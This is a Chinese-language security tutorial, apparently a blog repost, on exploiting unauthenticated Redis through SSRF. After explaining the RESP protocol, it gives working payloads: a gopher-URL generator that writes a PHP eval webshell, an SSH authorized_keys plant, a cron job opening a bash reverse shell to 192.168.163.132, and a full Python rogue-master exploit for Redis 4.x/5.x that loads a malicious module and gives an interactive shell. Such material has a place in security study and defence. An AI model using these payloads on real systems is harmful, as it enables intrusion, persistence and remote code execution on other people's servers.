淺析Redis中SSRF的利用


SSRF介紹

SSRF,服務器端請求偽造,服務器請求偽造,是由攻擊者構造的漏洞,用於形成服務器發起的請求。通常,SSRF攻擊的目標是外部網絡無法訪問的內部系統。這里我們要介紹的是關於redis中SSRF的利用,如果有什么錯誤的地方還請師傅們不吝賜教/握拳。

前置知識

文章中的數據包構造會涉及到redis的RESP協議,所以我們這里先科普一下,了解RESP協議的師傅可以跳過=。=

RESP協議

Redis服務器與客戶端通過RESP(REdis Serialization Protocol)協議通信。
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標准方式。這是您應該在Redis客戶端中實現的協議。
RESP實際上是一個支持以下數據類型的序列化協議:簡單字符串,錯誤,整數,批量字符串和數組。

RESP在Redis中用作請求 - 響應協議的方式如下:

  1. 客戶端將命令作為Bulk Strings的RESP數組發送到Redis服務器。

  2. 服務器根據命令實現回復一種RESP類型。

在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings,回復的第一個字節是+
對於error,回復的第一個字節是-
對於Integer,回復的第一個字節是:
對於Bulk Strings,回復的第一個字節是$
對於array,回復的第一個字節是*
此外,RESP能夠使用稍后指定的Bulk StringsArray的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。

我們用tcpdump來抓個包來測試一下

tcpdump port 6379 -w ./Desktop/1.pcap

redis客戶端中執行如下命令

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓到的數據包如下


hex轉儲看一下

正如我們前面所說的,客戶端向將命令作為Bulk Strings的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為["set","name","test"]);$4代表字符串的長度,0d0a\r\n表示結束符;+OK表示服務端執行成功后返回的字符串

Redis配合gopher協議進行SSRF

概述

Gopher 協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了
Gopher 協議可以說是SSRF中的萬金油,。利用此協議可以攻擊內網的 redis、ftp等等,也可以發送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。

利用條件

能未授權或者能通過弱口令認證訪問到Redis服務器

利用

redis常見的SSRF攻擊方式大概有這幾種:

  1. 絕對路徑寫webshell

  2. 寫ssh公鑰

  3. 寫contrab計划任務反彈shell

下面我們逐個實現

絕對路徑寫webshell

這個方法比較常用,也是用得最多的=。=

構造payload

構造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

寫了一個簡單的腳本,轉化為redis RESP協議的格式

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成payload后,用curl打一波

執行成功,我們看一波shell是否寫入成功

成功寫入

寫ssh公鑰

如果.ssh目錄存在,則直接寫入~/.ssh/authorized_keys
如果不存在,則可以利用crontab創建該目錄

構造payload

構造redi

s命令

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

轉化為redis RESP協議的格式
PS:將第一個腳本改一下

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"

生成payload

 

curl打一波

我們來查看一波是否成功寫入

成功寫入,嘗試連接

成功連接

利用contrab計划任務反彈shell

這個方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時任務文件/var/spool/cron/<username>權限644也能執行

  2. 因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯

由於系統的不同,crontrab定時文件位置也會不同
Centos的定時任務文件在/var/spool/cron/<username>
Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root權限)/etc/crontab PS:高版本的redis默認啟動是redis權限,故寫這個文件是行不通的

構造payload

構造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

轉化為redis RESP協議的格式
PS:將第一個腳本改一下

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

生成一波,嘗試反彈shell

成功反彈shell

Redis4.x/5.x從SSRF到RCE

前言

前幾天看到RR師傅在朋友圈發的redis4.x/5.x rce,原本想去搞搞看的,但是無奈本菜雞正處於考試預習階段QAQ,所以沒什么心思去看 =。=,直到考完試才安心下來看,不過網上已經很多關於redis rce分析的文章,但是我發現大多數都是一筆帶過沒怎么看懂(我理解能力比較差),所以決定自己搞一下。

介紹

redis 4.x/5.x RCE是由LC/BC戰隊隊員Pavel Toporkovzeronights 2018上提出的基於主從復制的redis rce,演講的PPT地址為:PPT

利用

利用條件:

  • 能未授權或者能通過弱口令認證訪問到Redis服務器

主從復制

主從復制的概述:

主從復制,是指將一台Redis服務器的數據,復制到其他的Redis服務器。前者稱為主節點(master),后者稱為從節點(slave);數據的復制是單向的,只能由主節點到從節點。
redis的持久化使得機器即使重啟數據也不會丟失,因為redis服務器重啟后會把硬盤上的文件重新恢復到內存中,但是如果硬盤的數據被刪除的話數據就無法恢復了,如果通過主從復制就能解決這個問題,主redis的數據和從redis上的數據保持實時同步,當主redis寫入數據是就會通過主從復制復制到其它從redis。

 

建立主從復制,有3種方式:

  1. 配置文件寫入slaveof <master_ip> <master_port>

  2. redis-server啟動命令后加入 --slaveof <master_ip> <master_port>

  3. 連接到客戶端之后執行:slaveof <master_ip> <master_port>

PS:建立主從關系只需要在從節點操作就行了,主節點不用任何操作

我們先在同一個機器開兩個redis實例,一個端口為6379,一個端口為6380

redis-server /etc/redis/redis.conf
redis-server /etc/redis/redis6380.conf

我們把master_ip設置為127.0.0.1,master_port為6380

root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"

執行一波,我們可以明顯看到數據達到了同步的效果.
如果我們想解除主從關系可以執行SLAVEOF NO ONE

redis module

自從Redis4.x之后redis新增了一個模塊功能,Redis模塊可以使用外部模塊擴展Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模塊是動態庫,可以在啟動時或使用MODULE LOAD命令加載到Redis中。

惡意so文件編寫:https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK

利用原理

利用步驟,貼一下PPT上的步驟

slave和master的握手協議過程

圖中一些常量說明

#define REPL_STATE_CONNECTING 2 /* 等待和master連接 */
/* --- 握手狀態開始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 發送認證消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待認證回復 */
#define REPL_STATE_SEND_PORT 6 /* 發送REPLCONF信息,主要是當前實例監聽端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 發送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 發送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手狀態結束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在從master接收RDB文件 */

我這里主要講一下最重要的那一步,就是利用全量復制將master上的RDB文件同步到slave上,這一步就是將我們的惡意so文件同步到slave上,從而加載惡意so文件達到rce的目的

那我們為什么一定要用全量復制呢?原因如下。
當slave向master發送PSYNC命令之后,一般會得到三種回復:

  1. +FULLRESYNC:進行全量復制。

  2. +CONTINUE:進行增量同步。

  3. -ERR:當前master還不支持PSYNC。

全量復制的過程:

 

  • slave向master發送PSYNC請求,並攜帶master的runid和offest,如果是第一次連接的話slave不知道master的runid,所以會返回runid為?,offest為-1,我們來測試以下看看是不是真的如此

  • master驗證slave發來的runid是否和自身runid一致,如不一致,則進行全量復制,slave並對master發來的runid和offest進行保存

  • master把自己的runid和offset發給slave

  • master進行bgsave,生成RDB文件

  • master將寫好的RDB文件傳輸給slave,並將緩沖區內的數據傳輸給slave

  • slave加載RDB文件和緩沖區數據

增量復制(又稱部分復制)過程:

增量復制的過程這里簡單帶過一下:就是當slave向master要求數據同步時,會發送master的runid和offest,如果runid和slave上的不對應則會進行全量復制,如果相同則進行數據同步,但是不會傳輸RDB文件

通過了解全量復制和增量復制的過程,我們應該大致知道為什么一定要用全量復制而不用增量復制了。

攻擊流程

  • 配置一個我們需要以master身份給slave傳輸so文件的服務,大致流程如下

    PING 測試連接是否可用
    +PONG 告訴slave連接可用
    REPLCONF 發送REPLCONF信息,主要是當前實例監聽端口
    +OK 告訴slave成功接受
    REPLCONF 發送REPLCONF capa
    +OK 告訴slave成功接受
    PSYNC <rundi> <offest> 發送PSYNC

    如下圖所示:

  •  

  • 將要攻擊的redis服務器設置成我們的slave

SLAVEOF ip port
  • 設置RDB文件
    PS:這里注意以下exp.so是不能包含路徑的,如果需要設置成其它目錄請用config set dir path

config set dbfilename exp.so
  • 告訴slave使用全量復制並從我們配置的Rouge Server接收module

    +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

    PS:其中<runid>無要求,不過長度一般為40,<offest>一般設置為1

exp

貼一下exp,寫得比較丑,為了節省文章的篇幅其它功能我就沒有加上去了,有需要的師傅可以自行添加=。=

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd

def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock

def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return


def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False

if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)

效果圖

Reference

https://redis.io/topics/protocol
https://www.cnblogs.com/kismetv/p/9236731.html#t1
http://duqingfeng.net/2018/06/08/Redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E2%80%94%E2%80%94%E5%85%A8%E9%87%8F%E5%A4%8D%E5%88%B6%E4%B8%8E%E5%A2%9E%E9%87%8F%E5%A4%8D%E5%88%B6%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/hongmoshui/p/10594639.html
https://xz.aliyun.com/t/5616
https://joychou.org/web/hackredis-enhanced-edition-script.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM